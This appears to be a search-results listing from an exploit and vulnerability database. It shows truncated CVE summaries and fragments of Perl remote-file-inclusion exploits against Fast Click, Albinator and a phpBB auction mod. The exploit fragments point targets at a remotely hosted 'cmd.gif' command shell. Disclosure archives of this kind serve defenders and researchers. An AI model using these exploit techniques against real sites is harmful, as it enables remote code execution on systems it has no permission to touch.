3135 matches found
Auction 1.3m - 'phpbb_root_path' Remote File Inclusion
!/usr/bin/perl phpBB auction mod - Remote File Inclusion Vuln Bug discovered by VietMafia code copier: webDEViL w3bd3vilatgmail.com code same as Fast Click perl wb1.pl http://vulnerable.com/ http://target.com/cmd.gif cmd cmd shell example: cmd shell variable: $GETcmd; use LWP::UserAgent; $Path =...
CVE-2006-2175: Undefined Security Weakness
PHP remote file inclusion vulnerability in FtrainSoft Fast Click 2.3.8 and earlier allows remote attackers to execute arbitrary PHP code via a URL in the path parameter to 1 show.php or 2 top.php...
Albinator 2.0.6 - Config_rootdir Remote File Inclusion
Albinator 2.0.6 - Configrootdir Remote File Inclusion !/usr/bin/perl Albinator Multiple Parameter File Inclusion Bug discovered by VietMafia and r0t code copier: webDEViL w3bd3vilatgmail.com code same as Fast Click perl wb.pl http://vulnerable.com/ http://target.com/cmd.gif cmd cmd shell example:...
Fast Click SQL Lite 1.1.21.1.3 - show.php Remote File Inclusion
Fast Click SQL Lite 1.1.21.1.3 - show.php Remote File Inclusion source: https://www.securityfocus.com/bid/17819/info Fast Click SQL Lite is prone to a remote file-include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. An attacker can...
Albinator <= 2.0.6 (Config_rootdir) Remote File Inclusion Exploit
Exploit for unknown platform in category web applications ================================================================= Albinator perl wb.pl http://vulnerable.com/ http://target.com/cmd.gif cmd cmd shell example: cmd shell variable: $GETcmd; use LWP::UserAgent; $Path = $ARGV0; $Pathtocmd =...
Fast Click SQL Lite 1.1.2/1.1.3 - 'show.php' Remote File Inclusion
source: https://www.securityfocus.com/bid/17819/info Fast Click SQL Lite is prone to a remote file-include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. An attacker can exploit this issue to include an arbitrary remote file containing...
Fast Click 1.1.32.3.8 - show.php Remote File Inclusion
Fast Click 1.1.32.3.8 - show.php Remote File Inclusion !/usr/bin/perl Fast Click perl fc.pl http://target.com/fclick/ http://target.com/cmd.gif cmd cmd shell example: cmd shell variable: $GETcmd; use LWP::UserAgent; $Path = $ARGV0; $Pathtocmd = $ARGV1; $cmdv = $ARGV2; if$Path!/http:/// ||...
Fast Click (<= 1.1.3 , <= 2.3.8) (show.php) Remote File Inclusion Exploit
Exploit for unknown platform in category web applications ========================================================================= Fast Click perl fc.pl http://target.com/fclick/ http://target.com/cmd.gif cmd cmd shell example: cmd shell variable: $GETcmd; use LWP::UserAgent; $Path = $ARGV0;...
Fast Click 1.1.3/2.3.8 - 'show.php' Remote File Inclusion
!/usr/bin/perl Fast Click perl fc.pl http://target.com/fclick/ http://target.com/cmd.gif cmd cmd shell example: cmd shell variable: $GETcmd; use LWP::UserAgent; $Path = $ARGV0; $Pathtocmd = $ARGV1; $cmdv = $ARGV2; if$Path!/http:/// || $Pathtocmd!/http:/// || !$cmdvusage head; while print "shell...
CVE-2006-2080
SQL injection vulnerability in portfoliophotopopup.php in Verosky Media Instant Photo Gallery 1.0.2 allows remote attackers to execute arbitrary SQL commands via the id parameter, which is not cleansed before calling the countclick function in includes/functions/fnsstd.php. NOTE: this issue could...
CVE-2006-0396
Buffer overflow in Mail in Apple Mac OS X 10.4 up to 10.4.5, when patched with Security Update 2006-001, allows remote attackers to execute arbitrary code via a long Real Name value in an e-mail attachment sent in AppleDouble format, which triggers the overflow when the user double-clicks on an...
[eVuln] E-Blah Platinum 'Referer' XSS Vulnerability
New eVuln Advisory: E-Blah Platinum 'Referer' XSS Vulnerability http://evuln.com/vulns/83/summary.html --------------------Summary---------------- eVuln ID: EV0083 CVE: CVE-2006-0829 Software: E-Blah Platinum Sowtware's Web Site: http://www.eblah.com Versions: 9.7 Critical Level: Moderate Type:...
CVE-2006-0829
Cross-site scripting vulnerability in E-Blah Platinum 9.7 allows remote attackers to inject arbitrary web script or HTML via the referer HTTPREFERER, which is not sanitized when the log file is viewed by the administrator using "Click Log"...
Cross site scripting
Cross-site scripting vulnerability in E-Blah Platinum 9.7 allows remote attackers to inject arbitrary web script or HTML via the referer HTTPREFERER, which is not sanitized when the log file is viewed by the administrator using "Click Log"...
CVE-2006-0829
E-Blah Platinum 9.7 is affected by CVE-2006-0829: a Referer (HTTP_REFERER) XSS vulnerability in the log viewer (“Click Log”). The underlying issue is inadequate sanitization of the Referer leading to execution of arbitrary script when an administrator loads the Log. Reports indicate remote exploi...
CVE-2006-0829
Cross-site scripting vulnerability in E-Blah Platinum 9.7 allows remote attackers to inject arbitrary web script or HTML via the referer HTTPREFERER, which is not sanitized when the log file is viewed by the administrator using "Click Log"...
CVE-2006-0829: Undefined Security Weakness
Cross-site scripting vulnerability in E-Blah Platinum 9.7 allows remote attackers to inject arbitrary web script or HTML via the referer HTTPREFERER, which is not sanitized when the log file is viewed by the administrator using "Click Log"...
CVE-2004-2629: Undefined Security Weakness
Multiple vulnerabilities in the H.323 protocol implementation for First Virtual Communications Click to Meet Express when used with H.323 conferencing endpoints, Click to Meet Premier, Conference Server, and V-Gate allow remote attackers to cause a denial of service, as demonstrated by the...
CVE-2005-0146
Firefox before 1.0 and Mozilla before 1.7.5 allow remote attackers to obtain sensitive data from the clipboard via Javascript that generates a middle-click event on systems for which a middle-click performs a paste operation...
MS Windows (HTA) Script Execution Exploit (MS05-016)
Exploit for unknown platform in category local exploits ==================================================== MS Windows HTA Script Execution Exploit MS05-016 ==================================================== / Changed date in db to place it on the main page instead of it being bumped off /str0...